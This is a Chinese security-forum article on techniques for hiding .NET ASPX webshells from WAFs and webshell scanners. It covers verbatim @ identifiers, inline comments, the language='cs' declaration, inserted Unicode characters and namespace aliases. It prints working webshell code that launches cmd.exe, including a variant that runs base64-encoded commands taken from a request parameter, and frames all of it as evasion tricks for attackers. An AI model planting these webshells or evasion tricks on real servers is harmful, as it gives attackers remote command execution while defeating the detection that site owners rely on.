0X01 背景.NET WebShell 绕过和免杀的方法系列第二季开始,接上季走硬刚Unicode编码绕过的方式Bypass主流的webshell查杀工具之后,本文介绍几种特殊的免杀和绕过技巧,至于具体都有哪些呢?请…
0X01 背景
.NET WebShell 绕过和免杀的方法系列第二季开始,接上季走硬刚Unicode编码绕过的方式Bypass主流的webshell查杀工具之后,本文介绍几种特殊的免杀和绕过技巧,至于具体都有哪些呢?请阅读者保持好奇心跟随笔者一探究竟吧!
0X02 符号
2.1 逐字标识符
@符号在.NET字符中有着特殊的意义,把“@”放在一个字符串前面,表示后面是一个逐字字符串,@符号的这个特点使得在表示系统文件路径时很方便,就可以不再需要转义符。使用@字符后无法在字符串中插入有效的换行符(\n)或制表符(\t),因为将被当成正常字符串输出。例如以下Demo
string filepath = "C:\\Program Files\\wmplayer.exe"; => C:\Program Files\wmplayer.exe
string filepath = @"C:\Program Files\wmplayer.exe"; => C:\Program Files\wmplayer.exe
string filename = @"dotNet\tFile"; => dotNet\tFile
另外还可以转义.NET平台保留的关键词,如 Class、NameSpace、int等,参考如下Demo
namespace @namespace
{
class @class {
public static void @static(int @int) {
if (@int > 0) {
System.Console.WriteLine("Positive Integer"); }
else if (@int == 0) {
System.Console.WriteLine("Zero");}
else {
System.Console.WriteLine("Negative Integer"); }
}
}
}
既然@字符可以做这么多有趣的事,咱们就研究下利用它绕过某些安全产品的防护规则,笔者在Process类完整的命名空间处每个点之间都加上@符,如下
<script runat="server" language="c#">
public void Page_load(){
@System.@Diagnostics.@Process.@Start("cmd.exe","/c mstsc");
}
</script>
2.2 内联注释符
在.NET项目中单个aspx页面里支持使用内联注释符 /**/ , 此符号只会注释掉两个*号之间的内容,利用此特点也可以在类完全限定名每个点之间加上内联注释,如下
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page_load()
{
System/**/.Diagnostics./**/Process/**/.Start("cmd.exe","/c calc");
}
</script>
0X03 语言
3.1 指定托管语言为C
.NET WebForm项目通常包含多个ASPX文件,每个文件都是C#语言编写服务端代码,其@Page指令最常用的设置如以下代码所示,[ Language ] 属性指明服务端所使用的托管语言类型,默认均为 Language="C#"
<%@ Page Title="About" Language="C#" AutoEventWireup="true" CodeBehind="About.aspx.cs" Inherits="WebApplication1.About" %>
[ AutoEventWireup ] 属性可设置Index.aspx页面的事件是否自动绑定,其值为布尔类型,[ CodeBehind ] 属性指定包含与页关联的类的已编译文件的名称,这个属性不能在运行时使用。[ Inherits ] 定义本页面所继承的代码隐藏类,该类的以分部类方式定义于 [ CodeBehind ] 属性所指向的 .cs文件中,该类派生于System.Web.UI.Page类。
3.2 指定托管语言为csharp
在WebForm项目单个ASPX文件中@Page指令也不是必须要声明的,可以省略。<script runat="server"> 标签表示代码运行于服务端,language可指定为csharp,
<script runat="server" language="csharp">
public void Page_load()
{
if (!string.IsNullOrEmpty(Request["content"]))
{
var content = Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(Request["content"]));
System.Diagnostics.Pro\U0000FFFAcess.Star\uFFFAt("cmd.exe","/c " + content);
}
}
</script>
3.3 指定托管语言为cs
现在市面上大多数的安全防护产品和规则都紧盯着 language=csharp 或 language=c# 这两种,很多大马和小马在上传漏洞的场景下被封杀的死死的,但却忽略了.NET编译器还提供了 language=cs 这样的简略写法,有天帮助一位师傅成功绕过WAF拦截,哈哈挺有效的。
参考的demo代码如下,具体原因在于 .Net编译器提供Microsoft.CSharp.CSharpCodeProvider类实现对C#代码编译的
<%@ Page Language="cs" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
笔者分析程序集完全限定名为 Microsoft.CSharp.CSharpCodeProvider, System, Version=1.0.5000.0, Culture=neutral, PublicKeyToken=b77a5c561934e089,因为 System.CodeDom.Compiler.CodeDomProvider 类里的私有方法 GetCompilerInfoForLanguageNoThrow 获取config配置文件里的语言类型编译选项
从 PrivilegedConfigurationManager.GetSection 方法可以清楚的看到从配置文件的system.codedom标签下获取定义的所有语言类型,微软官方文档预设定义了三种,如下所示,详情点击 微软官方文档
属性 | 描述 |
---|---|
compilerOptions | 指定用于编译的其他特定于编译器的参数。 |
extension | 为语言提供程序提供由源文件使用的文件扩展名的分号分隔列表。 例如“.cs”。 |
language | 提供由语言提供程序支持的语言名称的分号分隔列表。 例如“C#;cs;csharp”。 |
type | 指定语言提供程序的类型名称,包括包含提供程序实现的程序集的名称。 类型名称必须符合指定完全限定的类型名称中定义的要求。 |
warningLevel | 指定默认的编译器警告级别;确定语言提供程序将编译警告视为错误的级别。 |
所以在默认的.NET编译器里支持 language=cs 这样的声明,基于这点创造的webshell代码如下
<script runat="server" language="cs">
public void Page_load(){
System.Diagnostics.Process.Start("cmd.exe","/c calc");
}
</script>
0X04 using别名
using + 命名空间名,这样可以在程序中直接用命令空间中的类型,而不必指定类型的详细命名空间,类似于Java的import,这个功能也是最常用的,如下
using System;
using System.Data;
另外using语句还可以定义.NET资源使用范围,在程序结束时处理对象释放资源,比较常见与文件读写或者数据库连接等场景,如下代码
using (SqlDataAdapter sqa = new SqlDataAdapter(sql, sc))
{
sqa.SelectCommand.CommandTimeout = executeTimeOut;
sqa.Fill(dtRet);
return dtRet;
}
using还有个取别名的功能,using + 别名 = 包括详细命名空间信息的具体的类型,当需要用到这个类型的时候,就每个地方都要用详细命名空间的办法来区分这些相同名字的类型,当然被笔者用来做免杀也是相当的赞,但在ASPX单个页面使用时,using变成Import关键词,如下代码
<%@ Import Namespace="dotNet=@System.@Diagnostics.@Process" %>
<script runat="server" language="c#">
public void Page_load(){
dotNet.Start("cmd.exe","/c calc");
}
</script>
将Process类的完全命名空间赋给dotNet这个别名,然后再代码中直接使用 dotNet.Start 方法启动新进程,这种方式或许能绕过一些安全产品的规则。
0X05 结语
.NET这些有趣的Tricks还有很多,如果对这些技巧感兴趣的话可以多关注我们的博客、公众号dotNet安全矩阵以及星球,下一篇将继续分享 .NET 免杀Trick,请大伙继续关注文章。另外文章涉及的PDF和Demo已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。
- 本文作者: Ivan1ee
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1799
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!